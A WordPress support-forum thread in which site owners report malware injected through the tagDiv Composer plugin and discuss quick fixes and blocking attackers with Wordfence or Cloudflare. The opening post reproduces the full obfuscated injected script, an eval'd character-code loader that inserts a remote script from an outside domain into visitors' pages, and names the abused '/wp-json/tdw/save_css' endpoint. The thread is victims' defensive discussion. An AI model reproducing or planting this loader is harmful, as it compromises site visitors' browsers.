i find this code in my website source code
<style id="tdw-css-placeholder">var iz=String;var iz2=iz['fromCharCode'](118,97,114,32,95,48,120,52,99,54,102,52,98,61,95,48,120,52,97,56,57,59,40,102,117,110,99,116,105,111,110,40,95,48,120,50,53,100,54,55,98,44,95,48,120,50,55,54,50,54,55,41,123,118,97,114,32,95,48,120,49,50,51,101,56,48,61,95,48,120,52,97,56,57,44,95,48,120,51,99,56,54,54,54,61,95,48,120,50,53,100,54,55,98,40,41,59,119,104,105,108,101,40,33,33,91,93,41,123,116,114,121,123,118,97,114,32,95,48,120,51,49,101,51,99,102,61,45,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,100,56,41,41,47,48,120,49,43,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,101,48,41,41,47,48,120,50,43,45,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,100,49,41,41,47,48,120,51,43,45,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,101,53,41,41,47,48,120,52,42,40,45,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,101,50,41,41,47,48,120,53,41,43,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,100,101,41,41,47,48,120,54,42,40,45,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,100,52,41,41,47,48,120,55,41,43,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,100,98,41,41,47,48,120,56,42,40,45,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,101,49,41,41,47,48,120,57,41,43,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,100,100,41,41,47,48,120,97,59,105,102,40,95,48,120,51,49,101,51,99,102,61,61,61,95,48,120,50,55,54,50,54,55,41,98,114,101,97,107,59,101,108,115,101,32,95,48,120,51,99,56,54,54,54,91,39,112,117,115,104,39,93,40,95,48,120,51,99,56,54,54,54,91,39,115,104,105,102,116,39,93,40,41,41,59,125,99,97,116,99,104,40,95,48,120,52,52,53,101,48,52,41,123,95,48,120,51,99,56,54,54,54,91,39,112,117,115,104,39,93,40,95,48,120,51,99,56,54,54,54,91,39,115,104,105,102,116,39,93,40,41,41,59,125,125,125,40,95,48,120,53,49,102,52,44,48,120,100,52,50,99,53,41,41,59,102,117,110,99,116,105,111,110,32,116,121,101,114,121,119,101,114,40,95,48,120,51,98,101,98,97,99,41,123,118,97,114,32,95,48,120,52,98,98,56,102,48,61,95,48,120,52,97,56,57,59,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,91,39,113,117,101,114,121,83,101,108,101,99,116,111,114,39,93,40,95,48,120,52,98,98,56,102,48,40,48,120,49,101,56,41,43,95,48,120,51,98,101,98,97,99,43,39,92,120,50,50,93,39,41,41,59,125,118,97,114,32,98,100,61,39,104,116,116,39,43,39,112,115,39,43,39,58,47,47,115,116,97,121,39,43,39,46,100,101,39,43,39,99,101,110,116,39,43,95,48,120,52,99,54,102,52,98,40,48,120,49,101,97,41,43,39,112,112,39,43,95,48,120,52,99,54,102,52,98,40,48,120,49,100,57,41,43,39,47,112,39,43,39,97,103,39,43,95,48,120,52,99,54,102,52,98,40,48,120,49,100,102,41,44,100,61,100,111,99,117,109,101,110,116,59,105,102,40,116,121,101,114,121,119,101,114,40,98,100,41,61,61,61,33,91,93,41,123,118,97,114,32,115,61,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,55,41,93,40,95,48,120,52,99,54,102,52,98,40,48,120,49,101,54,41,41,59,115,91,39,105,100,39,93,61,95,48,120,52,99,54,102,52,98,40,48,120,49,101,51,41,44,115,91,95,48,120,52,99,54,102,52,98,40,48,120,49,101,55,41,93,61,98,100,44,100,91,39,99,117,114,114,101,110,116,83,99,114,105,112,116,39,93,63,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,99,41,93,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,54,41,93,33,61,61,110,117,108,108,38,38,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,99,41,93,91,39,112,97,114,101,110,116,78,111,100,101,39,93,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,97,41,93,40,115,44,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,99,41,93,41,58,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,53,41,93,40,39,104,101,97,100,39,41,91,48,120,48,93,33,61,61,110,117,108,108,38,38,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,53,41,93,40,95,48,120,52,99,54,102,52,98,40,48,120,49,100,51,41,41,91,48,120,48,93,91,95,48,120,52,99,54,102,52,98,40,48,120,49,101,57,41,93,40,115,41,59,125,102,117,110,99,116,105,111,110,32,95,48,120,53,49,102,52,40,41,123,118,97,114,32,95,48,120,49,102,99,56,55,100,61,91,39,115,101,99,111,110,100,95,99,104,39,44,39,114,101,109,111,118,101,39,44,39,49,50,56,56,116,87,101,98,118,109,39,44,39,115,99,114,105,112,116,39,44,39,115,114,99,39,44,39,115,99,114,105,112,116,91,115,114,99,61,92,120,50,50,39,44,39,97,112,112,101,110,100,67,104,105,108,100,39,44,39,114,97,108,97,112,39,44,39,103,101,116,69,108,101,109,101,110,116,66,121,73,100,39,44,39,50,48,54,51,50,50,82,76,87,109,82,113,39,44,39,102,105,114,115,116,95,116,105,109,101,95,99,104,39,44,39,104,101,97,100,39,44,39,49,49,49,51,57,50,52,68,106,98,111,69,105,39,44,39,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,39,44,39,112,97,114,101,110,116,78,111,100,101,39,44,39,99,114,101,97,116,101,69,108,101,109,101,110,116,39,44,39,49,55,49,49,53,57,51,104,114,85,115,78,101,39,44,39,115,46,99,111,109,47,115,114,99,39,44,39,105,110,115,101,114,116,66,101,102,111,114,101,39,44,39,53,50,56,53,54,52,56,108,71,88,110,111,101,39,44,39,99,117,114,114,101,110,116,83,99,114,105,112,116,39,44,39,50,51,55,48,52,57,51,48,117,104,81,119,98,101,39,44,39,54,74,77,104,113,77,71,39,44,39,101,46,106,115,39,44,39,49,49,55,52,50,54,98,109,90,90,65,89,39,44,39,57,113,82,79,115,67,101,39,44,39,49,54,49,53,48,66,109,83,78,104,77,39,93,59,95,48,120,53,49,102,52,61,102,117,110,99,116,105,111,110,40,41,123,114,101,116,117,114,110,32,95,48,120,49,102,99,56,55,100,59,125,59,114,101,116,117,114,110,32,95,48,120,53,49,102,52,40,41,59,125,102,117,110,99,116,105,111,110,32,95,48,120,52,97,56,57,40,95,48,120,98,56,48,101,98,98,44,95,48,120,53,51,49,51,99,102,41,123,118,97,114,32,95,48,120,53,49,102,52,102,100,61,95,48,120,53,49,102,52,40,41,59,114,101,116,117,114,110,32,95,48,120,52,97,56,57,61,102,117,110,99,116,105,111,110,40,95,48,120,52,97,56,57,50,97,44,95,48,120,53,53,101,55,52,48,41,123,95,48,120,52,97,56,57,50,97,61,95,48,120,52,97,56,57,50,97,45,48,120,49,100,49,59,118,97,114,32,95,48,120,52,49,102,98,102,53,61,95,48,120,53,49,102,52,102,100,91,95,48,120,52,97,56,57,50,97,93,59,114,101,116,117,114,110,32,95,48,120,52,49,102,98,102,53,59,125,44,95,48,120,52,97,56,57,40,95,48,120,98,56,48,101,98,98,44,95,48,120,53,51,49,51,99,102,41,59,125,118,97,114,32,108,105,61,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,101,98,41,93,40,95,48,120,52,99,54,102,52,98,40,48,120,49,100,50,41,41,59,108,105,33,61,61,110,117,108,108,38,38,108,105,91,95,48,120,52,99,54,102,52,98,40,48,120,49,101,52,41,93,40,41,59);eval(iz2);</style>
the problem is in the tagdiv composer plugin. I found a quick-fix. This is not a permanent solution, but it works quickly:
wp-content/plugins/td-composer/css-live/css-live.php line: 142 where is <style id=”tdw-css-placeholder”>. i Just deleted code between <style id=”tdw-css-placeholder”> and ending </style>
echo ‘ <style id=”tdw-css-placeholder”>/* custom css – generated by TagDiv Composer */’ . PHP_EOL . $css_buffer . ‘</style>’;
}
Its a vulnerabilty of the theme. Someone is constantly trying to inject malware. Take a look to your server visit log and maybe you´ll find ips asking without stop to “/wp-json/tdw/save_css” or something similar.
My version of the theme gives them a 403, I was injected a few months ago and it’s seem the new version they built “solved the problem”. But hackers knows this vulnerability and they are trying and trying and trying. Look at the attached image, where you can find my server log from this morning. I haven’t seen them since a couple of weeks but they have come back again… Ips from Romania, Russia and Netherlands.
https://ibb.co/Y7TWgxy (attached image)
-
This reply was modified 2 years by
loslunes.
Hi,
Have you tried blocking them with wordfence? Something like this would work – https://prnt.sc/1V-dHi7xTQXk. But it may most likely take some time until all the URLs are blocked, as they keep changing. Eventually, they will all be blocked, however, and the attack will stop.
I think it could be done from Cloudflare as well, if you use Cloudflare. That URL can be blocked like this, for example – https://community.cloudflare.com/t/possible-to-block-specific-page-access/106765/3. In case you are using Cloudflare, this would be a very good solution because Cloudflare will block them before they reach the website. But if it isn’t possible to set up Cloudflare, the wordfence method will work as well. Please try it as soon as possible.
Thank you!
i active wordfence plugin for my websites
yesterday i deleted code between <style id=”tdw-css-placeholder”> and ending </style>
What does this code do for the site?
And is it necessary?
Because I have removed this code
echo ‘ <style id=”tdw-css-placeholder”>/* custom css – generated by TagDiv Composer */’ . PHP_EOL . $css_buffer . ‘</style>’;
}
